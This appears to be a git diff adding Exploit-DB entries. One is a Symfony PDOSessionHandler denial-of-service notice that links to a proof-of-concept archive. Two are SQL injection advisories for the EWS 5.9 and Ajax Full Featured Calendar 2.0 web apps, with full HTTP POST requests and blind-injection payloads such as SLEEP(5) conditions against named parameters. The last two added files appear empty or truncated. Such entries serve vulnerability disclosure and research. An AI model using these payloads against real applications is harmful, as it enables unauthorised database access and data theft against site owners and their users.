diff --git a/exploits/php/dos/44768.txt b/exploits/php/dos/44768.txt new file mode 100644 index 000000000..51533897a --- /dev/null +++ b/exploits/php/dos/44768.txt @@ -0,0 +1,12 @@ +The PDOSessionHandler class allows to store sessions on a PDO connection. Under some configurations (see below) and with a well-crafted payload, it was possible to do a denial of service on a Symfony application without too much resources. + +An application is vulnerable when: + +- It is using PDOSessionHandler to store its sessions; + +- And it uses MySQL as a backend for sessions managed by PDOSessionHandler; + +- And the SQL mode does not contain STRICT_ALL_TABLES or STRICT_TRANS_TABLES (check via SELECT @@sql_mode). + +POC: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44768.tgz \ No newline at end of file diff --git a/exploits/php/webapps/44761.txt b/exploits/php/webapps/44761.txt new file mode 100644 index 000000000..89c52e761 --- /dev/null +++ b/exploits/php/webapps/44761.txt @@ -0,0 +1,43 @@ +# Exploit Title: EWS 5.9 - 'search' SQL Injection +# Dork: N/A +# Date: 25.05.2018 +# Exploit Author: Özkan Mustafa Akkuş (AkkuS) +# Vendor Homepage: https://codecanyon.net/item/employee-work-schedule-multicalendar/10545683 +# Version: 5.9 +# Category: Webapps +# Tested on: Kali linux +# Description : The vulnerability allows an attacker to inject sql commands +from the search section with 'cal_id' parameter. +==================================================== +# Demo : http://paulthedutchman.nl/ews/ +# PoC : SQLi : + +http://test.com/ews/?action=search + +POST /ews/?action=search HTTP/1.1 +Host: test.com +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 +Firefox/45.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://test.com/ews/ +Cookie: PHPSESSID=pss9q96b0v9ja9m35hc8s2hod4 +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded +Content-Length: 34 +sq=test&cal_id=11%2C90%2C199%2C208 + + +Parameter: cal_id (POST) + + Type: boolean-based blind + Title: AND boolean-based blind - WHERE or HAVING clause + Payload: sq=test&cal_id=11,90,199,208) AND 4528=4528 AND (1723=1723 + + Type: AND/OR time-based blind + Title: MySQL >= 5.0.12 AND time-based blind + Payload: sq=test&cal_id=11,90,199,208) AND SLEEP(5) AND (8958=8958 + + +==================================================== \ No newline at end of file diff --git a/exploits/php/webapps/44762.txt b/exploits/php/webapps/44762.txt new file mode 100644 index 000000000..245b82680 --- /dev/null +++ b/exploits/php/webapps/44762.txt @@ -0,0 +1,36 @@ +# Exploit Title: Ajax Full Featured Calendar 2.0 - 'search' SQL Injection +# Dork: N/A +# Date: 25.05.2018 +# Exploit Author: Özkan Mustafa Akkuş (AkkuS) +# Vendor Homepage: https://codecanyon.net/item/ajax-full-featured-calendar-2/10158465 +# Version: 2.0 +# Category: Webapps +# Tested on: Kali linux +# Description : The vulnerability allows an attacker to inject sql commands from the search section with 'search' parameter. +==================================================== +# Demo : http://pauloreg.com/d/affc2/index.php +# PoC : SQLi : + +POST /d/affc2/includes/loader.php HTTP/1.1 +Host: test.com +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 +Firefox/45.0 +Accept: */* +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Referer: http://test.com/d/affc2/index.php +Content-Length: 11 +Cookie: PHPSESSID=pt848bokjvads6c9kvgs1nu973 +Connection: keep-alive +search=test + +Parameter: search (POST) + + Type: AND/OR time-based blind + Title: MySQL >= 5.0.12 AND time-based blind + Payload: search=test%' AND SLEEP(5) AND '%'=' + + +==================================================== \ No newline at end of file diff --git a/exploits/php/webapps/44763.html b/exploits/php/webapps/44763.html new file mode 100644 index 000000000..04976b26c --- /dev/null +++ b/exploits/php/webapps/44763.html @@ -0,0 +1,87 @@ + \ No newline at end of file diff --git a/exploits/php/webapps/44764.txt b/exploits/php/webapps/44764.txt new file mode 100644 index 000000000..cd8e65736 --- /dev/null +++ b/exploits/php/webapps/44764.txt @@ -0,0 +1,24 @@ +